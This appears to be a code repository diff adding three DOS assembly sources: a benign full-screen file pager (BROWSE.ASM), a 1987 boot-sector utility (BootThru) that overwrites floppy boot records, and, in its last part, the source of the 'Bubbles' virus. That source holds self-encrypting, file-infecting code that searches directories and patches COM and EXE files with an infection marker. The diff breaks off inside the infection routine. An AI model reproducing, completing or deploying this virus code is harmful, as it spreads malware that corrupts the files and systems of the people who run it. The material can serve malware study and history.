;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
File diff suppressed because it is too large Load Diff
+454
View File
@@ -0,0 +1,454 @@
; BROWSE.ASM -- Full Screen File Pager
; ====================================
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 0080h
Parameter Label Byte
Org 0100h
Entry: Jmp Begin
; All Data
; --------
db 'ATTR='
Attribute db 0 ; Current screen attribute
db 'SHIFT='
ShiftHoriz db 8 ; Horizontal shift screen default
DosVersionFail db 'Requires DOS 2.0 or above$'
NoSpaceFail db 'Not enough memory$'
FileFail db 'File Not Found$'
ScreenFail db 'Unsupported video mode$'
Delimiters db 9,' ,;=/' ; Delimiters in parameter
FileHandle dw ? ; Use for saving file handle
WSMode db 0FFh ; AND value for non-WordStar mode
LineLength db ? ; Length of line (from BIOS)
NumberLines db 25,0 ; Number of lines (check EGA BIOS)
ScreenSize dw ? ; Size of screen in bytes
CheckRetrace db 1 ; Flag zero if EGA or MONO used
Addr6845 dw ? ; Could use for retrace check
ScreenAddr Label DWord ; Address of screen
ScreenOff dw 0 ; Higher for non-page 0
ScreenSeg dw 0B800h ; Set to B000h for Mono Mode 7
ScreenStart dw ? ; Points within buffer
EndOfFile dw ? ; Points within buffer
FileOffset dw -1, -1 ; Address within file of buffer data
HorizOffset dw 0 ; Horizontal offset for display
RightMargin dw 0 ; Right margin for offset display
Dispatch dw Home, Up, PgUp, Dummy, Left
dw Dummy, Right, Dummy, End, Down, PgDn
; Check DOS Version for 2.0 or above
; ----------------------------------
Begin: Cld ; All string directions forward
Mov AH,30h
Int 21h ; Get DOS Version Number
Cmp AL,2 ; Check for 2.0 or later
Jae DOSVerOK
Mov DX,Offset DOSVersionFail
ErrorExit: Mov AH,9 ; Write error message
Int 21h
Int 20h
; Parse Command Line to get File Name and WordStar flag
; -----------------------------------------------------
DOSVerOK: Mov SI,1 + Offset Parameter ; Points to parameter
NameSearch: Lodsb ; Get byte
Cmp AL,13 ; Check if carriage return
Jz NoFileFound ; If so, no file name
Mov DI,Offset Delimiters ; String of delimiters
Mov CX,5 ; Number of delimiters (no /)
Repne Scasb ; See if a match
Je NameSearch ; If a delimiter, keep looking
Mov DX,SI ; Otherwise found file name
Dec DX ; Points to beginning of it
EndSearch: Lodsb ; Get next byte
Cmp AL,13 ; See if carriage return
Je GotFileEnd ; If so, we're all done
Mov DI,Offset Delimiters ; String of delimiters
Mov CX,6 ; Number (including /)
Repne Scasb ; See if a match
Jne EndSearch ; If not, still in file name
Mov Byte Ptr [SI - 1],0 ; If so, mark end of file name
Jcxz GotFlag ; If slash, check for W
Jmp EndSearch ; Or continue flag search
GotFlag: Lodsb ; Get byte after / flag
Or AL,20h ; Uncapitalize
Cmp AL,'w' ; See if w for WordStar mode
Jnz GotFileEnd ; If not, just ignore it
Mov [WSMode],7Fh ; AND value for WordStar
; Open the File
; -------------
GotFileEnd: Mov Byte Ptr [SI - 1],0 ; Mark end of file name
; DX still points to name
Mov AX,3D00h ; Open file for reading
Int 21h ; by calling DOS
Jnc GotTheFile ; If no error, continue
NoFileFound: Mov DX,Offset FileFail ; Otherwise print a message
Jmp ErrorExit
GotTheFile: Mov [FileHandle],AX ; Save the file handle
; Get Screen Mode Information from BIOS Data Area
; -----------------------------------------------
Push ES ; Save register
Sub AX,AX
Mov ES,AX ; Set ES to 0 (BIOS Data)
Mov AL,ES:[0449h] ; Current Video Mode
Cmp AL,3 ; Check if Color Alpha
Jbe DisplayOK ; Continue if so
Cmp AL,7 ; Check if monochrome display
Je Monochrome ; If so, branch
Mov DX,Offset ScreenFail ; We can't handle graphics
Jmp ErrorExit ; So print an error message
Monochrome: Mov [ScreenSeg],0B000h ; Use Monochrome Segment
Mov [CheckRetrace],0 ; Don't have to check retrace
DisplayOK: Mov AL,ES:[044Ah] ; Number of Columns
Mov [LineLength],AL ; Save it
Mov AX,ES:[044Eh] ; Offset into screen buffer
Mov [ScreenOff],AX ; Save it
Mov AX,ES:[0463h] ; Address of 6845 Regsiter
Mov [Addr6845],AX ; Save it
Push ES
Sub DL,DL ; Set Rows to zero first
Sub BH,BH
Mov AX,1130h ; EGA BIOS: Get Information
Int 10h
Pop ES
Or DL,DL ; Check if DL is still zero
Jz NoEGA ; If so, skip rest of stuff
Inc DL
Mov [NumberLines],DL ; Save Number of Lines
Test Byte Ptr ES:[0487h],4 ; Check if must check retrace
Jnz NoEGA
Mov [CheckRetrace],0 ; EGA says we don't have to
NoEGA: Mov BH,ES:[0462h] ; Get Current Page (use later)
Pop ES
Mov AL,[LineLength] ; Length of each line
Mul [NumberLines] ; Total chars on screen
Add AX,AX ; Double for attributes
Mov [ScreenSize],AX ; And Save it
; See if enough memory is left
; ----------------------------
Add AX,Offset ScreenHold ; Add ScreenSize to code end
Add AX,256 ; Add a little stack room
Cmp AX,SP ; Check against stack pointer
Jbe GotEnufMemory ; Continue if OK
Mov DX,Offset NoSpaceFail ; Otherwise end program
Jmp ErrorExit ; with error messae
; Get Current Screen Attribute
; ----------------------------
GotEnufMemory: Cmp [Attribute],0 ; Check if attribute pre-set
Jnz GotAttribute ; If so, move on
Mov DL,' ' ; Write out a byte
Mov AH,2 ; using DOS
Int 21h
Mov AL,8 ; Now backspace
Mov AH,14 ; using BIOS call
Int 10h
Mov AH,8 ; Read character & attribute
Int 10h ; using BIOS call (BH = pg)
Mov [Attribute],AH ; And save attribute
; Save Current Screen
; -------------------
GotAttribute: Mov DX,Offset Terminate ; Set Ctrl-Break exit
Mov AX,2523h ; to terminate that way
Int 21h
Mov DI,Offset ScreenHold ; Destination of screen
Mov CX,[ScreenSize] ; Size of screen
Push DS ; Save Source Segment
Lds SI,[ScreenAddr] ; Get screen address
Rep Movsb ; Move in the bytes
Pop DS ; Restore Source Segment
; Get Keyboard Key and Decide on Action
; -------------------------------------
Call Home ; Read file in
Mov [ScreenStart],SI ; Set buffer address
KeyLoop: Call UpDateScreen ; Write file to screen
GetKey: Mov AH,8 ; Get key
Int 21h ; by calling DOS
Cmp AL,27 ; Check if ESC
Je Terminate ; If so, terminate
Cmp AL,0 ; Check if extended
Jnz GetKey ; If not, try again
Mov AH,8 ; Get extended code
Int 21h ; by calling DOS
Sub AL,71 ; Subtract Home key value
Jb GetKey ; If below that, not valid
Cmp AL,(81 - 71) ; Check if above PgDn
Ja GetKey ; If so, ignore it
Sub AH,AH ; Zero out top byte
Add AX,AX ; Double for word access
Mov BX,AX ; Offset in dispatch table
Mov SI,[ScreenStart] ; Set current buffer pointer
Call [Dispatch + BX] ; Do the call
Mov [ScreenStart],SI ; Set new buffer pointer
Jmp KeyLoop ; And update the screen
; Terminate -- Restore screen and close file
; ------------------------------------------
Terminate: Mov SI,Offset ScreenHold ; Address of Saved Screen
Les DI,[ScreenAddr] ; Address of Display
Mov CX,[ScreenSize] ; Number of characters
Rep Movsb ; Move them back
Mov BX,[FileHandle] ; Get File Handle
Mov AH,3Eh ; Close File
Int 21h
Int 20h ; Terminate
; Cursor Key Routines -- Home Key
; -------------------------------
Home: Sub BX,BX ; For zeroing out values
Mov AX,[FileOffset] ; Check if read in file
Or AX,[FileOffset + 2]
Mov [FileOffset],BX ; Zero out file address
Mov [FileOffset + 2],BX
Mov [HorizOffset],BX ; Zero out horizontal offset
Mov SI,Offset Buffer ; Reset buffer pointer
Jz Dummy ; Skip file read if in already
Mov DX,Offset Buffer ; Area to read file in
Mov CX,32768 ; Number of bytes to read
Call FileRead ; Read in file
Dummy: Ret
; Up and PgUp Keys
; ----------------
Up: Call GetPrevChar ; Get previous char in buffer
Jc UpDone ; If none available, finish
UpLoop: Call GetPrevChar ; Get previous char again
Jc UpDone ; if none, we're done
Cmp AL,10 ; Check if line feed
Jnz UpLoop ; If not, try again
Call GetNextChar ; Get char after line feed
UpDone: Ret
PgUp: Mov CX,Word Ptr [NumberLines] ; Number of lines
PgUpLoop: Call Up ; Do UP that many times
Loop PgUpLoop
Ret
; Left and Right Keys
; -------------------
Left: Mov [HorizOffset],0 ; Reset Horizontal Offset
Ret
Right: Mov AL,[ShiftHoriz] ; Get places to shift
Sub AH,AH
Add [HorizOffset],AX ; Move that many right
Ret
; End, Down, and PgDn Keys
; ------------------------
End: Mov BX,SI ; Save buffer pointer
Call PgDn ; Go page down
Cmp BX,SI ; Check if we did so
Jnz End ; If so, do it again
Ret
Down: Call GetNextChar ; Get next character
Jc NoMoreDown ; If no more, we're done
DownLoop: Call GetNextChar ; Get one again
Jc UpLoop ; If no more, find prev LF
Cmp AL,10 ; See if line feed
Jnz DownLoop ; If not, continue
NoMoreDown: Ret
PgDn: Mov CX,Word Ptr [NumberLines] ; Number of lines
PgDnLoop: Call Down ; Do DOWN that many times
Loop PgDnLoop
Ret
; Update Screen
; -------------
UpdateScreen: Push ES
Mov SI,[ScreenStart] ; Address of data in buffer
Les DI,[ScreenAddr] ; Address of display
Mov CX,ScreenSize ; Number of bytes in screen
Shr CX,1 ; Half for number of chars
Mov AL,' ' ; Will blank screen
Mov AH,[Attribute] ; With screen attribute
Rep Stosw ; Blank it
Mov AL,[LineLength] ; Length of display line
Sub AH,AH
Add AX,[HorizOffset] ; Add Horizontal Offset
Mov [RightMargin],AX ; That's right display margin
Sub DL,DL ; Line Number
LineLoop: Sub BX,BX ; Column Number
Mov AL,[LineLength] ; Use Line Length
Mul DL ; and Line Number
Add AX,AX ; to recalculate
Mov DI,AX ; display destination
Add DI,[ScreenOff] ; Add beginning address
CharLoop: Call GetNextChar ; Get next character
Jc EndOfScreen ; If no more, we're done
And AL,[WSMode] ; Will be 7Fh for WordStar
Cmp AL,13 ; Check for carriage return
Je CharLoop ; Do nothing if so
Cmp AL,10 ; Check for line feed
Je LineFeed ; Do routine if so
Cmp AL,9 ; Check for tab
Je Tab ; Do routine if so
Mov CX,1 ; Just 1 char to display
PrintChar: Cmp BX,[HorizOffset] ; See if we can print it
Jb NoPrint
Cmp BX,[RightMargin] ; See if within margin
Jae NoPrint
Mov AH,[Attribute] ; Attribute for display
Cmp [CheckRetrace],0 ; See if must stop snow
Jz WriteIt ; If not, skip retrace wait
Push BX
Push DX
Mov BX,AX ; Save character and attribute
Mov DX,[Addr6845] ; Set up I/O address
Add DX,6
RetraceWait1: In AL,DX ; Check until
Shr AL,1 ; vertical retrace
Jc RetraceWait1 ; ends
Cli ; Clear interrupts
RetraceWait2: In AL,DX ; Check until
Shr AL,1 ; vertical retrace
Jnc RetraceWait2 ; begins
Mov AX,BX ; Get back character & attr
Stosw ; Write to display
Sti ; Enable interrupts again
Pop DX
Pop BX
Jmp Short NoPrint ; Skip around "no snow" write
WriteIt: Stosw ; Write without retrace wait
NoPrint: Inc BX ; Bump up line counter
Loop PrintChar ; Do it CX times
Jmp CharLoop ; Then go back to top
Tab: Mov AX,BX ; Current column number
And AX,07h ; Take lower three bits
Mov CX,8
Sub CX,AX ; Subtract from 8
Mov AL,' ' ; Will print CX blanks
Jmp PrintChar
LineFeed: Inc DL ; Next line
Cmp DL,[NumberLines] ; See if down at bottom
Jb LineLoop ; If not, continue
EndOfScreen: Pop ES ; All done -- leave
Ret
; Get Next Character from buffer
; ------------------------------
; (Input is SI pointing to buffer, Returns AL, CY if no more)
GetNextChar: Cmp SI,[EndOfFile] ; See if at end of file
Jae NoMoreNext ; If so, no more chars
Cmp SI,Offset BufferEnd ; See if at end of buffer
Jb CanGetNext ; If not, just get character
Push CX ; Otherwise save registers
Push DX
Push DI
Push ES
Push DS ; Set ES to DS
Pop ES ; (could be different)
Mov SI,Offset BufferMid ; Move 2nd buffer half
Mov DI,Offset Buffer ; to 1st buffer half
Mov CX,16384
Sub [ScreenStart],CX ; New buffer pointer
Rep Movsb ; Move them
Mov SI,DI ; SI also buffer pointer
Add [FileOffset],32768 ; Adjust file addr to read
Adc [FileOffset + 2],0
Mov DX,Offset BufferMid ; Place to read file
Mov CX,16384 ; Number of bytes
Call FileRead ; Read the file
Sub [FileOffset],16384 ; Now adjust so reflects
Sbb [FileOffset + 2],0 ; 1st half of buffer
Pop ES ; Get back registers
Pop DI
Pop DX
Pop CX
Jmp GetNextChar ; And try again to get char
CanGetNext: Lodsb ; Get the character
NoMoreNext: Cmc ; So CY set if no more
Ret
; Get Previous Character from buffer
; ----------------------------------
GetPrevChar: Cmp SI,Offset Buffer ; See if at top of buffer
Ja CanGetPrev ; If not, just get character
Mov AX,[FileOffset] ; See if at top of file
Or AX,[FileOffset + 2]
Jz AtTopAlready ; If so, can't get anymore
Push CX ; Save some registers
Push DX
Mov SI,Offset Buffer ; Move 1st half of buffer
Mov DI,Offset BufferMid ; to 2nd half of buffer
Mov CX,16384
Add [ScreenStart],CX ; New buffer pointer
Rep Movsb ; Do the move
Sub [FileOffset],16384 ; Adjust file addr for read
Sbb [FileOffset + 2],0
Mov DX,Offset Buffer ; Area to read file into
Mov CX,16384 ; Number of bytes
Call FileRead ; Read the file
Pop DX ; Get back registers
Pop CX
Jmp Short CanGetPrev ; Now get character
AtTopAlready: Stc ; CY flag set for no more
Ret
CanGetPrev: Dec SI ; Move pointer back
Mov AL,[SI] ; Get the character
Clc ; CY flag reset for success
Ret
; Read CX bytes from the file into DX buffer
; ------------------------------------------
FileRead: Push AX ; Save some registers
Push BX
Push CX
Push DX
Mov [EndOfFile],-1 ; Initialize this
Mov DX,[FileOffset] ; Get file address to read
Mov CX,[FileOffset + 2]
Mov BX,[FileHandle] ; Get file Handle
Sub AL,AL ; Do LSEEK from beginning
Mov AH,42h ; LSEEK call
Int 21h
Pop DX ; Get back destination
Pop CX ; Get back count
Mov AH,3Fh ; Read file function call
Int 21h
Jnc NoReadError ; If no error, continue
Sub AX,AX ; Otherwise read zero bytes
NoReadError: Cmp AX,CX ; See if 32K has been read
Je GotItAll ; If so, we're home free
Add AX,DX ; Otherwise add to buffer addr
Mov [EndOfFile],AX ; And save as end of file
GotItAll: Pop BX
Pop AX
Ret
; File Buffer and Screen Hold Areas
; ---------------------------------
Buffer Label Byte ; Area for file reads
BufferMid equ Buffer + 16384 ; Halfway through it
BufferEnd equ BufferMid + 16384 ; At end of it
ScreenHold equ BufferEnd ; Area for holding screen
CSEG EndS ; End of segment
End Entry ; Denotes entry point

+374
View File
@@ -0,0 +1,374 @@
page ,132
title BootThru - v1.05
;------------------------------------------------------------------------
;
; BootThru - Copyright (c) Bill Gibson - 1987
; Lathrup Village, Mi 48076
;
; Ver. 1.00 - Initial version (not rlsd) - 01/11/87
; 1.01 - revised code structure " - 01/25/87
; 1.02 - revised Modify Proc " - 02/01/87
; 1.03 - enhanced error message output " - 02/06/87
; 1.04 - revised Print Proc released - 02/07/87
; 1.05 - fix incompatibility plbm - 02/09/87
;
;
; For Public Domain Use. Not for Sale or Hire.
;------------------------------------------------------------------------
COMMENT *
Routine to modify diskette boot record, using drive A: or B:,
thus circumventing DOS' non-system disk display error.
Usage:
BT A: -> transfer new boot record to drive A:
BT B: -> transfer new boot record to drive B:
BT -> starts program, default is drive A:
*
;------------------------------------------------------------------------
code SEGMENT BYTE PUBLIC 'code'
ASSUME CS:code,DS:code,SS:code
ORG 5Ch ;drive id
param1 LABEL BYTE
ORG 5Dh ;elim spurrious characters
param2 LABEL BYTE
ORG 100h
BootThru PROC FAR
MOV CS:stk_ptr,SP ;save stack ptr to ensure ret
CALL Chk_Ver ;dos 2.0 or greater
CALL Scan
CALL Dwrite
JMP SHORT exit
error:
MOV SP,stk_ptr ;insure proper return
CALL Print ;print error messages
MOV AL,1 ;set errorlevel to 1
exit:
MOV AH,4Ch
INT 21h
;------------------------------------------------------------------------
; Work Area - constants,equates,messages
;------------------------------------------------------------------------
drive DB 0
stk_ptr DW 0
blank EQU 020h ;ascii space code
cr EQU 0Dh ;carriage return
lf EQU 0Ah ;line feed
esc EQU 01Bh ;escape char
stopper EQU 255 ;end of display line indicator
logo DB cr,lf,'BootThru - The Diskette Modifier'
DB cr,lf,'Version 1.05 - Bill Gibson 1987',cr,lf,stopper
usage DB cr,lf,'Usage: BT [drive A: or B:]',cr,lf,stopper
sorry DB cr,lf,'Wrong PC DOS Version',cr,lf,stopper
msg1 DB cr,lf,'Insert diskette in drive A, and press ENTER'
DB ' when ready ...',stopper
msg2 DB cr,lf,'Insert diskette in drive B, and press ENTER'
DB ' when ready ...',stopper
msg3 DB cr,lf,'Press ENTER to modify another disk',cr,lf
DB 'or ESCape to quit...',stopper
msg4 DB cr,lf,cr,lf,'Transferring New Boot Sector',cr,lf,stopper
msg5 DB cr,lf,'Transfer Completed',cr,lf,stopper
msg80h DB cr,lf,cr,lf,'* Error * Drive failed to respond.',cr,lf,cr,lf,stopper
msg40h DB cr,lf,cr,lf,'* Error * Seek operation failed.',cr,lf,cr,lf,stopper
msg20h DB cr,lf,cr,lf,'* Error * Controller failure.',cr,lf,cr,lf,stopper
msg10h DB cr,lf,cr,lf,'* Error * Bad CRC on diskette write.',cr,lf,cr,lf,stopper
msg08h DB cr,lf,cr,lf,'* Error * DMA overrun on operation.',cr,lf,cr,lf,stopper
msg04h DB cr,lf,cr,lf,'* Error * Requested sector not found.',cr,lf,cr,lf,stopper
msg03h DB cr,lf,cr,lf,'* Error * Write protected diskette.',cr,lf,cr,lf,stopper
msg02h DB cr,lf,cr,lf,'* Error * Address mark not found.',cr,lf,cr,lf,stopper
msggen DB cr,lf,cr,lf,'* Unknown Error *',cr,lf,cr,lf,stopper
;--------------------------------------------------------------------------
; Sub-Routines:
;--------------------------------------------------------------------------
Chk_Ver PROC NEAR
MOV AH,30h ;verify DOS 2.0 or later
INT 21h
CMP AL,2
JAE SHORT chk_ok
MOV DX,OFFSET sorry
JMP error
chk_ok:
RET
Chk_Ver ENDP
;--------------
Scan PROC NEAR ;check for any spurrious chars
MOV AL,[param2]
CMP AL,blank ;anything ?
JNZ shlp ;yes, give error msg
s1:
MOV AL,[param1] ;check for drive parameters
OR AL,AL ;anything ?
JNZ s2 ;jump and test
MOV DX,OFFSET logo ;setup default drive A:
CALL Print
MOV drive,0
MOV DX,OFFSET msg1
RET
s2:
CMP AL,01 ;setup for drive A:
JZ SHORT sdrvA
CMP AL,02 ;for drive B:
JZ SHORT sdrvB
shlp:
MOV DX,OFFSET usage ;display for invalid drives
JMP error
sdrvA:
MOV DX,OFFSET logo
CALL Print
MOV drive,0
MOV DX,OFFSET msg1
RET
sdrvB:
MOV DX,OFFSET logo
CALL Print
MOV drive,1
MOV DX,OFFSET msg2
RET
Scan ENDP
;--------------
Dwrite PROC NEAR ;transfer new disk boot sector
CALL Print ;get ready
d1:
MOV AH,8 ;use function 8 in order to detect
INT 21h ;ctrl-breaks
CMP AL,esc ;ESC & Ctrl-Break aborts process
JZ d5
CMP AL,cr
JNZ d1
d2:
MOV DX,OFFSET msg4 ;setup for disk write
CALL Print
MOV AL,drive
LEA BX,head
MOV CX,0001
MOV DX,0000
drite: ;more setups
PUSH AX
PUSH BX
PUSH CX
PUSH DX
INT 26h
JC derror ;processing error ?
POPF ;done
POP DX
POP CX
POP BX
POP AX
d3:
MOV DX,OFFSET msg5 ;transfer complete
CALL Print
JMP d4
derror: ;display disk errror
CALL ErrorList
dend_of:
CALL Print
POPF ;done
POP DX
POP CX
POP BX
POP AX
d4:
MOV DX,OFFSET msg3 ;another ?
CALL Print
JMP d1 ;loop
d5:
RET
Dwrite ENDP
;--------------
Print PROC NEAR ;a Great idea from Vern Buerg !
PUSH SI
PUSH BX
PUSH CX
MOV SI,DX ;DX has the offset to string
SUB CX,CX ;set to zero for count
p1:
LODSB
CMP AL,stopper ;string ends in FFh
JE p9
INC CX ;increment text length
JMP p1
p9:
MOV AH,40h ;write using file handles
MOV BX,1
INT 21h
POP CX
POP BX ;recover registers
POP SI
RET
Print ENDP
;--------------
ErrorList PROC NEAR ;error code interpretation
;the upper byte (AH) contains error
err80h: CMP AH,080h ;attachment failed to respond
JNZ err40h
MOV DX,OFFSET msg80h
RET
err40h:
CMP AH,040h ;seek operation failed
JNZ err20h
MOV DX,OFFSET msg40h
RET
err20h:
CMP AH,020h ;controller failed
JNZ err10h
MOV DX,OFFSET msg20h
RET
err10h:
CMP AH,010h ;data error (bad CRC)
JNZ err08h
MOV DX,OFFSET msg10h
RET
err08h:
CMP AH,08h ;direct memory access failure
JNZ err04h
MOV DX,OFFSET msg08h
RET
err04h:
CMP AH,04h ;requested sector not found
JNZ err03h
MOV DX,OFFSET msg04h
RET
err03h:
CMP AH,03h ;write-protect fault
JNZ err02h
MOV DX,OFFSET msg03h
RET
err02h:
CMP AH,02h ;bad address mark
JNZ errgen
MOV DX,OFFSET msg02h
RET
errgen:
MOV DX,OFFSET msggen ;something new ? (Unknown)
RET
ErrorList ENDP
;--------------
Modify PROC FAR
head:
cr EQU 0Dh ;carriage return
lf EQU 0Ah ;line feed
stopper EQU 255 ;end of display line indicator
boot_area EQU 0000h ;setup boot area
bogus_drv EQU 0080h ;setup bogus drive
loc2 EQU 01FEh ;last two bytes of boot sector
eof_bootsec EQU 0AA55h ;end of boot sector (reversed)
bulc EQU 0DAh ;box upper left corner
burc EQU 0BFh ;box upper right corner
bllc EQU 0C0h ;box lower left corner
blrc EQU 0D9h ;box lower right corner
bver EQU 0B3h ;vertical
bhor EQU 0C4h ;horizontal
JMP start ;1st byte of the sector must be a jmp
DB 'BootThru' ;8-byte system id
DW 512 ;sector size in bytes
DB 2 ;sectors per cluster
DW 1 ;reserved clusters
DB 2 ;number of fats
DW 112 ;root directory entries
DW 720 ;total sectors
DB 0FDh ;format id (2 sided, 9 sector)
DW 2 ;sectors per fat
DW 9 ;sectors per track
DW 2 ;sides
DW 0 ;special hidden sectors
DB 0 ;filler
DB 0 ;head
DB 0Ah ;length of BIOS file
DB 0DFh ;disk parameter table
DB 02 ; "
DB 25h ; "
DB 02 ; "
DB 09 ; "
DB 02Ah ;Int 1Eh points to this table,
DB 0FFh ;the disk parameter table.
DB 050h ;contents of this vector (1Eh)
DB 0F6h ;are used as a pointer only,
DB 0Fh ;Int 1Eh is not executed
DB 02 ;directly
intro_beg:
DB cr,lf,
DB cr,lf,bulc,46 DUP(bhor),burc
DB cr,lf,bver,' This disk was modified by BootThru ',bver
DB cr,lf,bver,' Version 1.05 by Bill Gibson 1987 ',bver
DB cr,lf,bllc,46 DUP(bhor),blrc
DB cr,lf,stopper
intro_offset EQU intro_beg - head
start:
MOV AX,07C0h ;boot record location
MOV ES,AX
MOV DS,AX
MOV SI,intro_offset
strt1:
MOV AH,0Eh ;write teletype
MOV AL,[SI]
CMP AL,stopper
JE SHORT strt2
PUSH SI
INT 10h
POP SI
INC SI
JMP SHORT strt1
strt2:
CLD ;setup to bypass drive A:
MOV SI,OFFSET strt3 - OFFSET head
MOV DI,0200h ;boot sector size
MOV CX,0200h
REPZ MOVSB
JMP head + 200h
strt3:
MOV AH,2 ;function 02h - read floppy disk
MOV BX,boot_area ;boot area
MOV CH,0 ;track number
MOV CL,1 ;sector
MOV DH,0 ;head
MOV DL,bogus_drv ;bogus drive
MOV AL,1 ;number of sectors
INT 13h
strt4:
MOV BX,loc2 ;setup to pull ROM Basic in
MOV AX,[BX] ;if an error occurs
CMP AX,eof_bootsec
JNZ strt9
JMP strt3 - 200h
strt9:
INT 18h
DB 'BootThru, Copyright (c) Bill Gibson, 02.09.87'
tail:
filler_amount EQU 512 - (tail - head) - 2
DB filler_amount dup (0) ; filler
boot_id DB 055h,0AAh ; boot id
Modify ENDP
BootThru ENDP
code ENDS
END BootThru

+375
View File
@@ -0,0 +1,375 @@
;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
nop
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
nop
nop
call encrypt_decrypt ; Decrypt the virus first
encrypt_start equ $ ; From here is encrypted
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for our encryption value
int 21h
cmp dh,0 ; If its seconds are zere get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
